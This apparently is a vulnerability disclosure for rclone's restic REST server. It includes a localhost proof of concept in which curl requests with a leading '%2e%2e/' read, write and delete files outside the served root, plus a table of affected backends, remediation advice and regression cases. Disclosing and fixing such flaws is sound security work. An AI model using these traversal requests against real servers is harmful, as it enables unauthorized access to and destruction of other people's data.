Details
2. Start the independent WebDAV server
$ python3 -m venv poc/venv
$ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1'
$ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \
--root="$PWD/poc/storage" --auth=anonymous --no-config
Running without configuration file.
...
Server: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3
3. Download, verify, and start rclone
$ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip
$ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS
$ grep ' rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c -
rclone-v1.74.4-linux-amd64.zip: OK
$ unzip rclone-v1.74.4-linux-amd64.zip
$ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1
rclone v1.74.4
$ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \
--webdav-url http://127.0.0.1:39500 \
--webdav-vendor other --addr 127.0.0.1:39501 -vv
NOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/]
4. Confirm normal access
$ curl --path-as-is -i http://127.0.0.1:39501/inside.txt
HTTP/1.1 200 OK
...
INSIDE-PUBLISHED-ROOT
5. Read outside the published root
$ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt
HTTP/1.1 200 OK
...
SECRET-OUTSIDE-PUBLISHED-ROOT
6. Write outside the published root
$ curl --path-as-is -i -X POST \
http://127.0.0.1:39501/%2e%2e/outside-write.txt \
--data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT'
HTTP/1.1 200 OK
...
$ cat poc/storage/outside-write.txt
ATTACKER-CONTROLLED-OUTSIDE-ROOT
7. Delete outside the published root
$ curl --path-as-is -i -X DELETE \
http://127.0.0.1:39501/%2e%2e/outside-write.txt
HTTP/1.1 200 OK
...
$ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted'
physical file deleted
8. Compare with internal traversal
$ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt
HTTP/1.1 400 Bad Request
...
Bad Request
This demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it.
Tested backends
| Backend | Local implementation | Result | Operations tested |
|---|---|---|---|
| WebDAV | WsgiDAV 4.3.5 | Affected | read, write, delete |
| FTP | pyftpdlib 2.2.0 | Affected | read, write, delete |
| HTTP | Python http.server 3.12.3 | Affected | read |
| Memory | rclone memory backend | Affected | read, write, delete |
| SFTP | atmoz/sftp OpenSSH server | Affected | read, write, delete |
| S3 compatible | MinIO | No root escape observed | read, write, delete |
| Local filesystem | default local encoding | No root escape observed | read, write, delete |
Only the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official v1.74.4 Linux AMD64 binary identified in the proof of concept.
Suggested remediation
Reject . and .. components in WithRemote before storing the remote in the context. Validating the decoded relative path with io/fs.ValidPath, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation.
Regression tests should cover GET, HEAD, POST, and DELETE with .., ../x, ../../x, %2e%2e/x, a/../x, and a/../../x, both with and without --private-repos.
Additional impact scenarios identified by the maintainer
GET /../could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them.- With
--append-only, a request such asDELETE /../locks/<name>could satisfy the existing delete guard and delete an object outside the served root. - A bare
.path was also accepted. On bucket-based backends,POST /.could write an object outside the intended served path.
Credit: Caubi Loureiro of Vorpcel Research